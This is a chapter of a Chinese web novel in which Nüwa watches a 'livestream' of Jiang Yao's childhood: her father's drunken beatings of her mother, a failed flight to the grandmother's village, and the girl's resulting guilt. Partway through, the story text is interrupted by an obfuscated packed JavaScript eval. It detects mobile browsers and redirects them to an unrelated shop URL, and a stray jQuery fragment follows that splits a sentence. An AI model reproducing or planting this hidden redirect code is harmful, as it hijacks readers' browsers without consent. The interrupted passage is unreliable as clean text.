“我?”姜姚惊讶道。
女娲点了点头。
“可是,我的一生,只是最为寻常普通的一生,乏善可言。”
女娲笑了笑:“我们以前观看的所有直播,不都是寻常女子的一生吗?”
“好。”姜姚没有犹豫,答应了下来。
“不过,”女娲提醒道:“要直播你的一生,意味着,你要将自己所有不愿为人所知的地方,尽数展现在我面前。姜姚,你做好准备了吗?”
“自然。”姜姚笑道,“给我的朋友看最真实的我自己,又有何妨呢?”
她拉起女娲的手:“第六场直播,开始。”
姜姚的一生,比起前面的五位女子幸福得多。
她出生在人类社会高度发达的时期,不用如同九娲一般,时不时忍饥挨饿,随时可能被疾病与野兽夺走生命。
她降落在和平富强的土地,不用如同娲娲一般,某一天突然被一群外族人闯进家门,变成他们的奴隶。
她生长在文明开放的社会,不用如同娃娃一般,忍受断骨摧筋、欺身辱心之痛。
她生活在信封科学的时代,不同如同木兰一般,在与旧社会的抗争中,不慎让自己的性命沦为抗争的赌注。
她成长在健康健全的家庭,不用如同盼儿一般,一出生便将人间苦难背负在了身上。
可是,她的人生,依然有着点点滴滴的苦痛。而这些苦痛,绝大部分来自于她的父亲。
父亲喜爱组饭局喝大酒,本来脾气就暴躁易怒,喝醉酒后,更是一言不合就将拳头挥向母亲。他虽没有盼儿的丈夫那样残暴,却也让姜姚的童年充满了阴翳。
一次,姜姚惊心动魄地看见,父亲将暖瓶扔到了母亲身上,随即沉沉睡去。
母亲处理好身上的血泡,蹲下身问姜姚:“姚姚,和我一起回姥姥家吗?”
幼小的姜姚以为,母亲身上的伤看不见了,便是好了。此时,母亲只是如同往常一般,单纯问她想不想回不回姥姥家。
她在心中掂量了片刻。回姥姥家,可要走很远很远的路,从早到黑,走上整整一天才能到。可是,不回姥姥家,那她只能在家和醉得不省人事的父亲单独相处。
“好。”姜姚答应了。
姜姚手臂高高抬起,牵着妈妈的手,眼睛好奇地看向四周。
大街上的行人男女老少都有。男人和女人们一起下地干活,男孩与女孩们共同结伴回家,这个世界仿佛从来便是这样运转着。
唯一有些奇怪的,只有在街上行走的老奶奶们。她们迈着歪斜的八字步行走,脚异乎寻常地小。
【女娲感慨道:“这些女性明明生活在这个时代,身上却还是有着旧时代酷刑的印记。”
“娃娃距离我们并不遥远。她若是能活到现在,恐怕也是她们当中的一员。”姜姚道。】
看着老人歪斜的步子,姜姚傻傻地问母亲:“人老了,脚会变小吗?”
“呃……”母亲不知该如何做答,只得点了点头,作为堵住姜姚好奇心的缓兵之计。
到达姥姥家时,太阳已经落山了。
姥姥见了母亲很是意外,询问母亲离家出走的原因,被母亲以一句“吵架了”一笔带过。随后,母亲在杂物间找了床破烂的旧被子,铺在地上,睡了下来。
发霉的被褥盖在身上,姜姚浑身都像是有千万只虫子在爬。这种惊悚的感觉让她忘了从家里出走的理由,吵闹起要回家来。
母亲却没有半分动容,只是一下一下地拍着姜姚,哄她入睡。姜姚吵累了,呼呼睡去,睡梦中还在想,母亲为什么对她这么坏,不和她站到一边。
与姜姚站在了一起的,反倒是舅妈。天还没亮,舅妈就将母亲的衣物扔出了门外:“嫁出去的闺女回娘家,是想让娘家倒霉,没安半分好心!带着你那没把的孩,滚回你自己家去!”
姜姚吓得大哭不已,母亲默默抱起姜姚,捡起衣物,向着父亲家走去。姜姚在母亲的怀中看向姥姥屋内,隐约看见舅舅正站在门口,牢牢地堵住了姥姥走向屋外的路。
黎明前的乡间小路很是冷清,根本看不到几个人。
姜姚心中无比害怕。拖拉机轰隆隆的响声,行人渐近又渐远的脚步声,风吹动树叶的响声,每一道声音落在姜姚耳中,都让她身体一颤,犹如惊弓之鸟一般。好在,这些声音,都是乡村田地里最为寻常的声音,只是比白日清晰了些。
姜姚的心渐渐安定下来,突然,前方响起了一阵突兀的声音——铁锨打在肉身上的噼啪声,女子断断续续的啜泣声,孩子凄惨的哭喊声。
母亲捂住姜姚的眼睛,绕过声音源头,自旁边走了过去。可是,姜姚依旧能够从指缝当中看见,一位妇女正在被她的丈夫殴打,丈夫见有人经过,才堪堪停下了手中的铁锨。
女子倒在地上,被打得奄奄一息。旁边那个痛苦的孩子,应该是她女儿,看起来跟姜姚差不多大。姜姚立时也被吓得哭了起来,母亲死死捂住她的嘴,飞快地向前走去。
“妈,那个人!”已经离去很远了,姜姚的手指还在指向来时的方向。
“看到了!她是你姥姥村里的,按辈分,你该叫她一声大姨。我跟她走得并不近,只知道她跟我差不多时间嫁人,却不知道她嫁的是人是鬼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231386|197625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唉,苦命人啊。”
“妈,我们回去看看那个大姨吧?”
“妈也想,可是,我们过去,说不定也会挨打。荒郊野岭的,他打了你,我们也没处说。”
姜姚一直回头,直到那三人的身影消失在视线之外,她心中的闷痛也没有消失。
她想要与母亲说话,不知为何,却是怎么也说不出一个字。她盼着母亲能够先开口说话,只要说话了,她心中的闷痛就能缓解。
母亲沉默了一会儿,终于开口说道:“姚姚,你爸再怎样过分,也没有把我打成那样。看来,比起别人,他还算好的。以后,他怎么打我,我都会忍的。”
姜姚心中的闷痛更深了。
归家之后,家里的吵闹声又响了起来。好多次,姜姚都想要母亲再带自己回姥姥家,可母亲没有再提过,姜姚也说不出口。毕竟,她们在姥姥家时,针对母亲的争吵声也并没有停止,只是声音发出之人换了一个。
姜姚想,那日,舅妈一定是听了她想要回家的吵闹声,才赶她和妈妈走的。
她的心中涌出一股憋闷之感,这股感觉很快聚集成了一把刀,刺向了她的五脏肺腑当中。她当时并不知道这种感觉为何,很久之后才知道,它叫做内疚。
在内疚驱使之下,从此,姜姚将家中所有的拳脚争吵,归结于自己的过错。
【女娲揽住姜姚:“这不是你的错。”
姜姚紧了紧握着女娲手的掌心:“人小时候走过的很多弯路,随着成长,都能自动纠正过来。放心,我早就已经走出来了。”】
那个时候的姜姚,却并不知道自己思考的路径有些弯。她经常在想,她应该做些什么,来弥补自己对于这个家犯下的弥天大错。
她试着在父亲动手时护住母亲,试着对父亲出手回击,可也只是变成了母女两人一起挨打。父亲一边打,一边以各种脏话骂姜姚,痛诉生了个女儿让他蒙上了这辈子最大的污点。母亲则哭得更为伤心。
她也试着在父亲尚且平和的时候,求父亲不要再打母亲。可父亲只是轻描淡写道:“我跟你妈的事,是夫妻间的事,你一个小孩少管闲事。”
姜姚不断找寻其他的办法。认字之后,她偶然从电视上听到了一句话,“家和万事兴”。她当即关掉电视,拿起小铅笔刀,走向墙角。
女娲跟随着姜姚,认认真真地在各个墙角刻下一个又一个的“家和万事兴”。
【姜姚有些赧然:“女娲,让你见识到了好笑的事。我那时候,可真是太傻了。”
女娲却抱了抱姜姚:“如果我能穿越时空,在那个时候遇见你,该有多好。”】